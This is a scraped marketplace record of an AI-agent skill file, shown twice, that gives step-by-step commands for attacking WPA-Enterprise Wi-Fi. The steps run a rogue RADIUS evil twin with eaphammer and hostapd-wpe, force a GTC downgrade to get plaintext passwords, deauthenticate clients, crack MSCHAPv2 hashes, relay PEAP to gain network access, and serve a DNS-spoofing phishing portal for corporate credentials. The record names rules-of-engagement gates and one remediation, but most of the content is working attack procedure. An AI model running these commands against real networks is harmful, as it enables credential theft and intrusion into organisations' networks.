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MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: wpa-enterprise-eap\ndescription: WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: wireless\n  when_to_use: \"WPA-Enterprise, WPA2-Enterprise, 802.1X, EAP, PEAP, EAP-TTLS, MSCHAPv2, eaphammer, hostapd-wpe, GTC downgrade, RADIUS, evil twin enterprise, EAP identity, rogue RADIUS, wireless AD pivot\"\n  tags:\n    - enterprise\n    - eap\n    - 802.1x\n    - peap\n    - mschapv2\n    - radius\n    - eaphammer\n  mitre_attack: T1557, T1110.001, T1040\n---\n\n# WPA-Enterprise \u002F 802.1X \u002F EAP\n\n> MSCHAPv2 over PEAP\u002FEAP-TTLS is the dominant enterprise Wi-Fi\n> credential type in corporate environments. A captured\n> challenge\u002Fresponse is directly equivalent to a NetNTLMv1\u002Fv2 hash.\n> Crack it and you have a domain account; relay it and you may gain\n> network access without cracking at all.\n\n## Prerequisites\n\n- Monitor-mode + injection-capable adapter; second adapter optional\n  (for deauth while rogue AP is running on first).\n- Tools: `eaphammer`, `hostapd-wpe` (hostapd with WPE patch),\n  `asleap`, `hashcat`, `john`.\n- Rogue AP requires a valid TLS cert (self-signed or Let's Encrypt\n  clone). eaphammer ships a cert generator.\n- RoE gate: evil-twin AP requires `permitted_actions: evil_twin` AND\n  `permitted_actions: rogue_radius` in `plan\u002Froe.json`. Check\n  `iw reg get` before activating any TX.\n\n## Step 1 — EAP method recon\n\nIdentify the EAP method(s) in use before standing up the rogue AP:\n\n```bash\n# Passive capture of EAP Identity + EAP method negotiation\nsudo airodump-ng -c \u003CCHANNEL> --bssid \u003CBSSID> -w \u002Ftmp\u002Feap_recon \\\n    --output-format pcap \u003Cmon-iface>\n\n# Extract EAP type from the capture\ntshark -r \u002Ftmp\u002Feap_recon-01.cap -Y \"eap\" \\\n    -T fields -e wlan.sa -e eap.identity -e eap.type 2>\u002Fdev\u002Fnull | head -20\n\n# EAP types: 25=PEAP, 21=EAP-TTLS, 13=EAP-TLS, 43=EAP-FAST, 6=GTC\n```\n\n```bash\n# Check client TLS validation posture (Android \u002F Linux common misconfiguration)\n# Look for EAP-TTLS or PEAP with no CA configured — the wpa_supplicant\n# \"phase2\" credential accepts any server cert by default on many distros.\n# Detection: if client completes TLS handshake with a self-signed cert\n# on your rogue AP → validation not enforced → capture succeeds.\n```\n\n## Step 2A — Rogue RADIUS with eaphammer (recommended)\n\n```bash\n# 1. Generate a rogue cert matching the target org domain\npython3 eaphammer --cert-wizard\n\n# 2. Stand up rogue Enterprise AP targeting PEAP-MSCHAPv2\n#    Replace \u003CSSID> with the exact target SSID.\npython3 eaphammer -i \u003Ciface> \\\n    --channel \u003CCHANNEL> \\\n    --auth wpa-eap \\\n    --essid \"\u003CSSID>\" \\\n    --creds \\\n    --negotiate gtc-downgrade\n\n# --negotiate gtc-downgrade forces EAP-GTC instead of MSCHAPv2 on\n# clients that would otherwise validate the server cert. GTC sends\n# the password in plaintext inside the TLS tunnel.\n\n# 3. On MSCHAPv2 capture, eaphammer prints:\n#    [+] Captured EAP identity: DOMAIN\\username\n#    [+] MSCHAPv2 challenge: aabbccdd...\n#    [+] MSCHAPv2 response: 00112233...\n# Save to \u002Fworkspace\u002Fevidence\u002Fwireless\u002Feap_\u003Cbssid>.txt\n```\n\n## Step 2B — hostapd-wpe (alternative, wider EAP-type support)\n\n```bash\n# 1. Configure \u002Fetc\u002Fhostapd-wpe\u002Fhostapd-wpe.conf:\n#    interface=\u003Ciface>\n#    ssid=\u003CTARGET_SSID>\n#    channel=\u003CCHANNEL>\n#    eap_user_file=\u002Fetc\u002Fhostapd-wpe\u002Fhostapd-wpe.eap_user\n\n# 2. Launch\nsudo hostapd-wpe \u002Fetc\u002Fhostapd-wpe\u002Fhostapd-wpe.conf\n\n# 3. WPE logs to stdout:\n#    wpe: identity: DOMAIN\\user\n#    wpe: challenge: 7a8b9c...\n#    wpe: response: 001122...\n```\n\n## Step 3 — Optional: drive client association via deauth\n\n```bash\n# If clients are stubbornly staying on the legitimate AP, deauth\n# them to trigger reassociation to the rogue AP.\n# Requires permitted_actions: deauth_for_handshake_capture in RoE.\nsudo aireplay-ng --deauth 1 -a \u003CLEGIT_BSSID> -c \u003CCLIENT_MAC> \u003Cmon-iface>\n```\n\n## Step 4A — Offline crack (MSCHAPv2 → NetNTLM)\n\n```bash\n# asleap: fast MSCHAPv2 cracker against dictionary\nasleap -C \u003Cchallenge_hex> -R \u003Cresponse_hex> \\\n    -W \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# hashcat: convert to netntlmv2 format then crack with -m 5600\n# Format: username::::response:challenge  (NetNTLMv2 hashcat style)\necho \"DOMAIN\\\\username::::${response_hex}:${challenge_hex}\" \\\n    > \u002Ftmp\u002Fntlm.hash\nhashcat -m 5600 \u002Ftmp\u002Fntlm.hash \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n    --rules-file \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# john the ripper alternative\njohn --format=netntlmv2 --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n    \u002Ftmp\u002Fntlm.hash\n```\n\n## Step 4B — PEAP relay (network access without cracking)\n\nWhen the password is complex and unlikely to crack in engagement\ntimeframe, relay the MSCHAPv2 exchange to gain Wi-Fi network access:\n\n```bash\n# hostapd-mana (full MANA attack) + wpa_sycophant for PEAP relay\n# wpa_sycophant relays the EAP exchange upstream to the legit RADIUS,\n# completing auth and granting the attacker network access.\n\n# 1. Start wpa_sycophant pointing at the legitimate AP\nsudo python3 wpa_sycophant.py -c wpa_sycophant.conf \\\n    --interface \u003Csecond-iface>\n\n# 2. Start rogue AP with berate_ap (hostapd-mana variant)\nsudo berate_ap --mana --mana-credout \u002Ftmp\u002Fmana_creds.txt \\\n    \u003Ciface> \u003Cupstream-iface> \"\u003CSSID>\"\n\n# Result: attacker AP completes EAP auth by proxying to the real\n# RADIUS; attacker device gets a valid IP on the enterprise WLAN.\n```\n\n## Step 5 — Hostile portal AD credential capture\n\n```bash\n# After MITM network access, redirect HTTP traffic to a phishing page\n# that mimics the corporate SSO\u002FOWA\u002FVPN login.\n# Use bettercap + dns.spoof + http.proxy for transparent MITM:\nsudo bettercap -iface \u003Cclient-bridge-iface> \\\n    -eval \"net.probe on; dns.spoof on; http.proxy on\"\n# Configure http.proxy to inject credential-capture page.\n# Captured creds stored to \u002Fworkspace\u002Fevidence\u002Fwireless\u002Fportal_creds.txt\n```\n\n## Evidence\n\n```python\nkg_add_node(\n    kind=\"credential\",\n    label=f\"EAP MSCHAPv2 for {identity} on {ssid}\",\n    props={\n        \"key\": f\"eap-mschapv2::{bssid}::{identity}\",\n        \"secret_type\": \"eap_mschapv2\",\n        \"ssid\": ssid,\n        \"bssid\": bssid,\n        \"eap_identity\": identity,          # e.g. \"CORP\\\\jsmith\"\n        \"eap_realm\": realm,                # e.g. \"corp.example.com\"\n        \"challenge\": challenge_hex,\n        \"response\": response_hex,\n        \"plaintext_password\": password,    # null if not cracked\n        \"attack_path\": \"rogue-radius-eaphammer\",\n        \"source\": \"eaphammer\",\n    },\n)\n\nkg_add_node(\n    kind=\"finding\",\n    label=\"WPA-Enterprise: Server Certificate Not Validated\",\n    props={\n        \"key\": f\"eap-cert-validation::{bssid}\",\n        \"severity\": \"critical\",\n        \"affected_clients\": [\u003Cmac_list>],\n        \"remediation\": (\n            \"Configure wpa_supplicant with ca_cert pointing to the \"\n            \"corporate CA, or enforce 802.1X server cert validation \"\n            \"via MDM policy.\"\n        ),\n    },\n)\n```\n\n## ZFP\n\n1. eaphammer \u002F hostapd-wpe console output showing captured identity + challenge\u002Fresponse.\n2. `asleap` or `hashcat --show` output proving password crack (if successful).\n3. For relay path: `ip addr` output showing IP assignment on the enterprise WLAN.\n\n## RoE gate\n\n```\nHARD STOP: rogue RADIUS AP requires ALL of:\n  plan\u002Froe.json:permitted_actions contains \"evil_twin\"\n  plan\u002Froe.json:permitted_actions contains \"rogue_radius\"\n  regulatory domain TX authorized for the target channel\n  No public airspace without explicit operator approval in session\n```\n\n## OPSEC notes\n\n- EAP identity is sent in cleartext before the TLS tunnel; passive\n  capture of usernames is possible without standing up a rogue AP\n  (quieter for recon).\n- eaphammer with `--negotiate gtc-downgrade` is louder than passive\n  capture — generates EAP Nak frames visible to WIDS.\n- PEAP relay requires sustained active TX; posture = loud.\n- Hand cracked NetNTLM to `offensive-active-directory` skill for\n  NTLM-relay \u002F pass-the-hash chain.\n\n## References\n\n- eaphammer: github.com\u002Fs0lst1c3\u002Feaphammer\n- hostapd-wpe: github.com\u002FOpenSecurityResearch\u002Fhostapd-wpe\n- wpa_sycophant: github.com\u002Fsensepost\u002Fwpa_sycophant\n- asleap: github.com\u002Fjoswr1ght\u002Fasleap\n- `offensive-active-directory` skill — post-foothold NTLM relay once creds land.\n- `evil-twin-karma` skill — general rogue AP setup mechanics.\n- `deauth-pmf` skill — targeted deauth for client coercion.\n","# WPA-Enterprise \u002F 802.1X \u002F EAP\n\n> MSCHAPv2 over PEAP\u002FEAP-TTLS is the dominant enterprise Wi-Fi\n> credential type in corporate environments. A captured\n> challenge\u002Fresponse is directly equivalent to a NetNTLMv1\u002Fv2 hash.\n> Crack it and you have a domain account; relay it and you may gain\n> network access without cracking at all.\n\n## Prerequisites\n\n- Monitor-mode + injection-capable adapter; second adapter optional\n  (for deauth while rogue AP is running on first).\n- Tools: `eaphammer`, `hostapd-wpe` (hostapd with WPE patch),\n  `asleap`, `hashcat`, `john`.\n- Rogue AP requires a valid TLS cert (self-signed or Let's Encrypt\n  clone). eaphammer ships a cert generator.\n- RoE gate: evil-twin AP requires `permitted_actions: evil_twin` AND\n  `permitted_actions: rogue_radius` in `plan\u002Froe.json`. Check\n  `iw reg get` before activating any TX.\n\n## Step 1 — EAP method recon\n\nIdentify the EAP method(s) in use before standing up the rogue AP:\n\n```bash\n# Passive capture of EAP Identity + EAP method negotiation\nsudo airodump-ng -c \u003CCHANNEL> --bssid \u003CBSSID> -w \u002Ftmp\u002Feap_recon \\\n    --output-format pcap \u003Cmon-iface>\n\n# Extract EAP type from the capture\ntshark -r \u002Ftmp\u002Feap_recon-01.cap -Y \"eap\" \\\n    -T fields -e wlan.sa -e eap.identity -e eap.type 2>\u002Fdev\u002Fnull | head -20\n\n# EAP types: 25=PEAP, 21=EAP-TTLS, 13=EAP-TLS, 43=EAP-FAST, 6=GTC\n```\n\n```bash\n# Check client TLS validation posture (Android \u002F Linux common misconfiguration)\n# Look for EAP-TTLS or PEAP with no CA configured — the wpa_supplicant\n# \"phase2\" credential accepts any server cert by default on many distros.\n# Detection: if client completes TLS handshake with a self-signed cert\n# on your rogue AP → validation not enforced → capture succeeds.\n```\n\n## Step 2A — Rogue RADIUS with eaphammer (recommended)\n\n```bash\n# 1. Generate a rogue cert matching the target org domain\npython3 eaphammer --cert-wizard\n\n# 2. Stand up rogue Enterprise AP targeting PEAP-MSCHAPv2\n#    Replace \u003CSSID> with the exact target SSID.\npython3 eaphammer -i \u003Ciface> \\\n    --channel \u003CCHANNEL> \\\n    --auth wpa-eap \\\n    --essid \"\u003CSSID>\" \\\n    --creds \\\n    --negotiate gtc-downgrade\n\n# --negotiate gtc-downgrade forces EAP-GTC instead of MSCHAPv2 on\n# clients that would otherwise validate the server cert. GTC sends\n# the password in plaintext inside the TLS tunnel.\n\n# 3. On MSCHAPv2 capture, eaphammer prints:\n#    [+] Captured EAP identity: DOMAIN\\username\n#    [+] MSCHAPv2 challenge: aabbccdd...\n#    [+] MSCHAPv2 response: 00112233...\n# Save to \u002Fworkspace\u002Fevidence\u002Fwireless\u002Feap_\u003Cbssid>.txt\n```\n\n## Step 2B — hostapd-wpe (alternative, wider EAP-type support)\n\n```bash\n# 1. Configure \u002Fetc\u002Fhostapd-wpe\u002Fhostapd-wpe.conf:\n#    interface=\u003Ciface>\n#    ssid=\u003CTARGET_SSID>\n#    channel=\u003CCHANNEL>\n#    eap_user_file=\u002Fetc\u002Fhostapd-wpe\u002Fhostapd-wpe.eap_user\n\n# 2. Launch\nsudo hostapd-wpe \u002Fetc\u002Fhostapd-wpe\u002Fhostapd-wpe.conf\n\n# 3. WPE logs to stdout:\n#    wpe: identity: DOMAIN\\user\n#    wpe: challenge: 7a8b9c...\n#    wpe: response: 001122...\n```\n\n## Step 3 — Optional: drive client association via deauth\n\n```bash\n# If clients are stubbornly staying on the legitimate AP, deauth\n# them to trigger reassociation to the rogue AP.\n# Requires permitted_actions: deauth_for_handshake_capture in RoE.\nsudo aireplay-ng --deauth 1 -a \u003CLEGIT_BSSID> -c \u003CCLIENT_MAC> \u003Cmon-iface>\n```\n\n## Step 4A — Offline crack (MSCHAPv2 → NetNTLM)\n\n```bash\n# asleap: fast MSCHAPv2 cracker against dictionary\nasleap -C \u003Cchallenge_hex> -R \u003Cresponse_hex> \\\n    -W \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# hashcat: convert to netntlmv2 format then crack with -m 5600\n# Format: username::::response:challenge  (NetNTLMv2 hashcat style)\necho \"DOMAIN\\\\username::::${response_hex}:${challenge_hex}\" \\\n    > \u002Ftmp\u002Fntlm.hash\nhashcat -m 5600 \u002Ftmp\u002Fntlm.hash \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n    --rules-file \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# john the ripper alternative\njohn --format=netntlmv2 --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n    \u002Ftmp\u002Fntlm.hash\n```\n\n## Step 4B — PEAP relay (network access without cracking)\n\nWhen the password is complex and unlikely to crack in engagement\ntimeframe, relay the MSCHAPv2 exchange to gain Wi-Fi network access:\n\n```bash\n# hostapd-mana (full MANA attack) + wpa_sycophant for PEAP relay\n# wpa_sycophant relays the EAP exchange upstream to the legit RADIUS,\n# completing auth and granting the attacker network access.\n\n# 1. Start wpa_sycophant pointing at the legitimate AP\nsudo python3 wpa_sycophant.py -c wpa_sycophant.conf \\\n    --interface \u003Csecond-iface>\n\n# 2. Start rogue AP with berate_ap (hostapd-mana variant)\nsudo berate_ap --mana --mana-credout \u002Ftmp\u002Fmana_creds.txt \\\n    \u003Ciface> \u003Cupstream-iface> \"\u003CSSID>\"\n\n# Result: attacker AP completes EAP auth by proxying to the real\n# RADIUS; attacker device gets a valid IP on the enterprise WLAN.\n```\n\n## Step 5 — Hostile portal AD credential capture\n\n```bash\n# After MITM network access, redirect HTTP traffic to a phishing page\n# that mimics the corporate SSO\u002FOWA\u002FVPN login.\n# Use bettercap + dns.spoof + http.proxy for transparent MITM:\nsudo bettercap -iface \u003Cclient-bridge-iface> \\\n    -eval \"net.probe on; dns.spoof on; http.proxy on\"\n# Configure http.proxy to inject credential-capture page.\n# Captured creds stored to \u002Fworkspace\u002Fevidence\u002Fwireless\u002Fportal_creds.txt\n```\n\n## Evidence\n\n```python\nkg_add_node(\n    kind=\"credential\",\n    label=f\"EAP MSCHAPv2 for {identity} on {ssid}\",\n    props={\n        \"key\": f\"eap-mschapv2::{bssid}::{identity}\",\n        \"secret_type\": \"eap_mschapv2\",\n        \"ssid\": ssid,\n        \"bssid\": bssid,\n        \"eap_identity\": identity,          # e.g. \"CORP\\\\jsmith\"\n        \"eap_realm\": realm,                # e.g. \"corp.example.com\"\n        \"challenge\": challenge_hex,\n        \"response\": response_hex,\n        \"plaintext_password\": password,    # null if not cracked\n        \"attack_path\": \"rogue-radius-eaphammer\",\n        \"source\": \"eaphammer\",\n    },\n)\n\nkg_add_node(\n    kind=\"finding\",\n    label=\"WPA-Enterprise: Server Certificate Not Validated\",\n    props={\n        \"key\": f\"eap-cert-validation::{bssid}\",\n        \"severity\": \"critical\",\n        \"affected_clients\": [\u003Cmac_list>],\n        \"remediation\": (\n            \"Configure wpa_supplicant with ca_cert pointing to the \"\n            \"corporate CA, or enforce 802.1X server cert validation \"\n            \"via MDM policy.\"\n        ),\n    },\n)\n```\n\n## ZFP\n\n1. eaphammer \u002F hostapd-wpe console output showing captured identity + challenge\u002Fresponse.\n2. `asleap` or `hashcat --show` output proving password crack (if successful).\n3. For relay path: `ip addr` output showing IP assignment on the enterprise WLAN.\n\n## RoE gate\n\n```\nHARD STOP: rogue RADIUS AP requires ALL of:\n  plan\u002Froe.json:permitted_actions contains \"evil_twin\"\n  plan\u002Froe.json:permitted_actions contains \"rogue_radius\"\n  regulatory domain TX authorized for the target channel\n  No public airspace without explicit operator approval in session\n```\n\n## OPSEC notes\n\n- EAP identity is sent in cleartext before the TLS tunnel; passive\n  capture of usernames is possible without standing up a rogue AP\n  (quieter for recon).\n- eaphammer with `--negotiate gtc-downgrade` is louder than passive\n  capture — generates EAP Nak frames visible to WIDS.\n- PEAP relay requires sustained active TX; posture = loud.\n- Hand cracked NetNTLM to `offensive-active-directory` skill for\n  NTLM-relay \u002F pass-the-hash chain.\n\n## References\n\n- eaphammer: github.com\u002Fs0lst1c3\u002Feaphammer\n- hostapd-wpe: github.com\u002FOpenSecurityResearch\u002Fhostapd-wpe\n- wpa_sycophant: github.com\u002Fsensepost\u002Fwpa_sycophant\n- asleap: github.com\u002Fjoswr1ght\u002Fasleap\n- `offensive-active-directory` skill — post-foothold NTLM relay once creds land.\n- `evil-twin-karma` skill — general rogue AP setup mechanics.\n- `deauth-pmf` skill — targeted deauth for client coercion.\n",{"name":5,"metadata":23,"description":7,"allowed-tools":35},{"tags":24,"subdomain":32,"when_to_use":33,"mitre_attack":34},[25,26,27,28,29,30,31],"enterprise","eap","802.1x","peap","mschapv2","radius","eaphammer","wireless","WPA-Enterprise, WPA2-Enterprise, 802.1X, EAP, PEAP, EAP-TTLS, MSCHAPv2, eaphammer, hostapd-wpe, GTC downgrade, RADIUS, evil twin enterprise, EAP identity, rogue RADIUS, wireless AD pivot","T1557, T1110.001, T1040","Bash Read Write","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":43,"prompt":53,"zipAvailable":54},[44,47,50],{"tool":45,"command":46},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill wpa-enterprise-eap",{"tool":48,"command":49},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill wpa-enterprise-eap",{"tool":51,"command":52},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill wpa-enterprise-eap","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",true,[],[57,64,71,78,85,92],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":18},"01M78JA0ZZV12A629QE3D8K9FK","deauth-pmf","Targeted and broadcast 802.11 deauthentication \u002F disassociation, 802.11w\u002FPMF posture detection, and action-frame attack variants. Reusable by wpa2-psk (handshake), wpa3-sae (downgrade), and evil-twin (roaming coercion).","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fdeauth-pmf\u002FSKILL.md",[],[]]